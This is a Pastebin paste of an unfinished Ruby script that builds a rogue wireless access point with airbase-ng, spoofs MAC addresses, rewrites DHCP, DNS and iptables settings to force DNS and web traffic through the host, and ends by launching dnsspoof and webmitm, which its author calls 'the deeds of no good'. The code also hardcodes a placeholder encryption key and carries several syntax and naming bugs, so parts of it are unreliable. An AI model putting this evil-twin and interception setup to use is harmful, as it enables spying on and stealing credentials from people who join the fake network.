Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 8.51 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. #capn-jack_mr_hai_signature_string
  3. # this is a work in progress, im going to eventuall make a complete handler for wireless router .
  4. # I started trying to make a WAP software in rub but after a while I started realizing that I shouldnt reinvent the wheel
  5. # i should just make a really good car. Im going to incorporate a bit of C and python also, the C to speed it up and the python
  6. #for some packet manipulation in the stream using scapy.
  7. #The configurtation options are all constants, i figured that instead of asking each time (since people generally have a
  8. #consistant setup) you set them in the code, the Class "packet_filter" is the filter (no really?!?!) i generally use nested ifs
  9. # for the hueristics but you can do whatever here
  10.  
  11. #install script
  12. #timed saves to pcap if ACTBAD, selective ports, most useful for tcp reconstruction
  13. require 'socket'
  14. require 'openssl'
  15. require 'rubygems'
  16. require 'net/ssh'
  17.  
  18. #find alternatives to avahi and network manager
  19. #maybe make a WAP connection script?
  20. # iw? ifconfig? both !
  21. #airodump to showcase the area, iwconfig to connect
  22. #dhclient to get an IP
  23.  
  24.  
  25. #ACL from ruby doc
  26. # have it be invoked as a response to snort
  27. #
  28.  
  29. #ssh/encryption config
  30. HOST = '192.168.1.113'
  31. USER = 'username'
  32. PASS = 'password'
  33. KEY = "qwertyuiopasdfghjklzxcvbnmqwerty"
  34. IV = "qwertyuiopasdfghjklzxcvbnmqwerty"
  35. PREAMBLE="begin_encryption"
  36.  
  37. #general config
  38. $ACTBAD=true
  39. $VERBOSE = true
  40. LOGGING= true
  41. MONITOR="mon0"
  42. EXTIF="eth1"
  43. TUNNEL="at0"
  44. INTIF="wlan1"
  45. TTY="/dev/tty10"
  46. CHAN = "9"
  47. ESSID="Firefly"
  48. `alias wpas='sudo killall -9 wpa_supplicant'`
  49. `sudo killall -9 avahi-daemon `
  50. #DHCP config
  51. RANGE="192.168.1.2 192.168.1.254"
  52. SCOPE="192.168.1.0"
  53. GATEWAY="192.168.1.1"
  54. MASK="255.255.255.0"
  55. BROADCAST="192.168.1.255"
  56. DOMAIN="cerberusrouter.net"
  57. DNS1="208.67.222.222"
  58. DNS2="208.67.220.220"
  59.  
  60.  
  61.  
  62. #Handles encryption
  63. #example
  64. #   #preparing my balls for encryption
  65. #   balls = Encryption.new("balls")
  66. #   #encrypting my balls
  67. #   balls.encrypt_payload
  68. class Encryption
  69.     def initialize (string)
  70.         @string = string
  71.     end
  72.     #encrypts
  73.     def encrypt_payload
  74.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  75.         cipher.encrypt
  76.         cipher.key = WAPinit::KEY
  77.         cipher.iv = WAPinit::IV
  78.         cipher.update(@string) + cipher.final
  79.        
  80.     end
  81.     #decrypts
  82.     def decrypt_payload
  83.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  84.         cipher.decrypt
  85.         cipher.key = WAPinit::KEY
  86.         cipher.iv = WAPinit::IV
  87.         cipher.update(@string) + cipher.final
  88.     end
  89.    
  90. end
  91.  
  92. class SSH_handler
  93.   def initialize
  94.  
  95.   end
  96.  
  97. end
  98.  
  99. class Scp_upload
  100.   def initialize(file, host, user, password)
  101.     @file     = file
  102.     @host     = host
  103.     @user     = user
  104.     @password = password
  105.   end
  106.  
  107.   def upload
  108.   Net::SCP.start( hostname, username, :password => password ) do|scp|
  109.   scp.upload!( 'scp1.rb', '.' )
  110.   scp.download!( 'test.txt', '.' )
  111. end
  112. end
  113.  
  114. #this is a socket client to tx/rx streamimg aes-256 encrypted data.
  115. class Socket_IO_crypt
  116.   def initialize(data, port, host)
  117.   @io_obj = data
  118.   @port = port
  119.   @host = host
  120.   end
  121.  
  122. #listens for incomming connections on @port sending a encrypted string with a preamble  
  123.   def server
  124.     server = TCPServer.open(@port)
  125.     loop {                        
  126.       rx = server.accept
  127.      
  128.       #scans for a preamble and decrypts string sending it to a handler
  129.       if rx.scan(::PREAMBLE)
  130.         encrypted_str = rx.gsub(::PREAMBLE , "")
  131.         decrypted_str = Encryption.new(encrypted_str)
  132.         #send decrypted data to handler, possibly copy of the client?
  133.       else rx.puts "This is not yours"
  134.         rx.close
  135.       end
  136.     }
  137.   end
  138. #shoots an encrypted message to @host at @port with preamble
  139.   def client
  140.       tx = TCPSocket.open(@host, @port)
  141.       data = Encryption.new(@io_obj)
  142.       crypt_data = data.encrypt_payload
  143.       tx.puts ::PREAMBLE + crypt_data      
  144.       tx.close
  145.   end
  146. end
  147.  
  148. class Http_server
  149.   def initialize(port, header, max_connect, host)
  150.     @host = host #(insert php server self here)
  151.   end
  152.  
  153. end
  154.  
  155.  
  156. #instances of this class start the show
  157. class WAPinit
  158. `/etc/init.d/networking restart`
  159. #file contents of the bind and DHCP servers and the interface file
  160. interfaces = <<INTERFACE
  161. #loopback interface
  162.     auto lo iface lo inet loopback
  163.  
  164.     # interface external network (internet), configured through dhcp
  165.     auto #{EXTIF}
  166.     iface #{EXTIF} inet dhcp
  167.  
  168.     #interface network 1
  169.     auto #{INTIF}
  170.     iface #{INTIF} inet static
  171.             address #{GATEWAWY}
  172.             netmask #{MASK}
  173.             network #{SCOPE}
  174.             broadcast #{BROADCAST}
  175.  
  176.  
  177.  
  178. INTERFACE
  179.  
  180. bind = <<BIND
  181. options {
  182.     directory "/var/cache/bind";
  183.    
  184.     forwarders {
  185.         #{GATEWAY};
  186.        
  187.     };
  188.  
  189.     auth-nxdomain no;    # conform to RFC1035
  190.     listen-on-v6 { any; };
  191. };
  192. BIND
  193.  
  194.  
  195. dhcp3 = <<DHCP
  196. ddns-update-style interim;                                  
  197. ignore client-updates;
  198.  
  199. subnet #{SCOPE} netmask #{MASK} {
  200.  
  201.         range #{RANGE};                  
  202.            option subnet-mask              #{MASK};    # Default subnet mask to be used by DHCP clients
  203.            option broadcast-address        #{BROADCAST};    # Default broadcast address to be used by DHCP clients
  204.            option routers                  #{GATEWAY};      # Default gateway to be used by DHCP clients
  205.            option domain-name              "#{DOMAIN}";
  206.            option domain-name-servers      #{DNS1}, #{DNS2};           # Default DNS to be used by DHCP clients
  207. }
  208. #         DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
  209. #       option ipforwarding off;
  210.  
  211.          default-lease-time 21600;                            # Amount of time in seconds that a client may keep the IP address
  212.         max-lease-time 43200;
  213.  
  214.         option time-offset              -18000;              # Eastern Standard Time
  215. #       option ntp-servers              192.168.1.1;         # Default NTP server to be used by DHCP clients
  216. DHCP
  217.  
  218. ifaces = File.open("/etc/network/interfaces", "w")
  219. ifaces.syswrite(interfaces)
  220. `route add -net -n #{SCOPE} netmask #{MASK} dev #{INTIF}`
  221. `route add -net -n 0.0.0.0 dev #{EXTIF}`
  222. printf `route`
  223.  
  224. if `ifconfig`.match(/mon[0-9]/) = true
  225.  
  226.    elsif `ifconfig`.match(/at[0-9]/) = true
  227.  
  228.    elsif `ifconfig`.match(/wlan[0-9]/) = true
  229. #     `sudo killall -9 NetworkManager`
  230.      `sudo killall -9 avahi-daemon`
  231.      `killall -9 wpa_supplicant`
  232.      `airmon-ng start #{INTIF} #{CHAN}`
  233.      `gnome-terminal -e airodump-ng #{MONITOR}`
  234.      `changemac #{EXTIF}`
  235.      `changemac #{INTIF}`
  236.      `killall -9 wpa_supplicant`
  237.      pid = fork do
  238.        `airbase-ng -e #{ESSID} -v -v -c #{CHAN} -I 5000 #{MONITOR} 2>&1`
  239.      end
  240.     Process.detach(pid)
  241.    else printf "Something happened with the interfaces, please configure your system and plug in any devices"
  242.   end
  243. sleep 4
  244. `ifconfig #{TUNNEL} up`
  245. #begin the router-fu!
  246. `modprobe ip_tables`
  247. `modprobe iptable_filter`
  248. `modprobe ip_conntrack`
  249. `modprobe ip_conntrack_ftp`
  250. `modprobe ip_conntrack_irc`
  251. `modprobe iptable_nat`
  252. `modprobe ip_nat_ftp`
  253. `modprobe ip_nat_irc`
  254. `echo "1" > /proc/sys/net/ipv4/ip_dynaddr`
  255. `iptables --table nat --flush`
  256. `iptables --delete-chain`
  257. `iptables --flush`
  258. `iptables -P INPUT ACCEPT`
  259. `iptables -F INPUT `
  260. `iptables -P OUTPUT ACCEPT`
  261. `iptables -F OUTPUT `
  262. `iptables -P FORWARD DROP`
  263. `iptables -F FORWARD `
  264. `iptables -t nat -F`
  265. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -j ACCEPT`
  266. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  267. `iptables -A INPUT -i #{TUNNEL} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  268. `iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT`
  269. `iptables -A POSTROUTING -t nat -o #{EXTIF} -j MASQUERADE`
  270. `iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to #{GATEWAY}` #dns
  271. `iptables -t nat -A PREROUTING -i #{TUNNEL} -p tcp --dport 80 --j REDIRECT --to-ports 80`
  272. `echo "1" > /proc/sys/net/ipv4/ip_forward`
  273. `ifconfig at0 up`
  274. `ifconfig at0 #{GATEWAY} netmask #{MASK}`
  275. `ifconfig at0 mtu 1500`
  276. dhcpconf = File.open("/etc/dhcp3/dhcpd.conf", "w")
  277. dhcpconf.syswrite(dhcp3)
  278. `dhcpd3 #{TUNNEL}`
  279. dnsf = File.open("/etc/bind/named.conf.options", "w")
  280. dnsf.syswrite(bind)
  281. printf `/etc/init.d/bind9 restart`
  282. `notify-send "#{ESSID} - Wireless Access Point initialized"`
  283. end
  284.  
  285. #Starting the server
  286. WAPinit.new
  287.  
  288. # so far we have accomplished the task of initiating a WAP, starting DHCP, configuring the routing tables for
  289. #tranparency and configuring the interfaces.
  290.  
  291. #now we begin the deeds of no good
  292.  
  293. `dnsspoof -i #{TUNNEL}`
  294. sleep 1
  295. `webmitm -d -d -d`
  296. sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement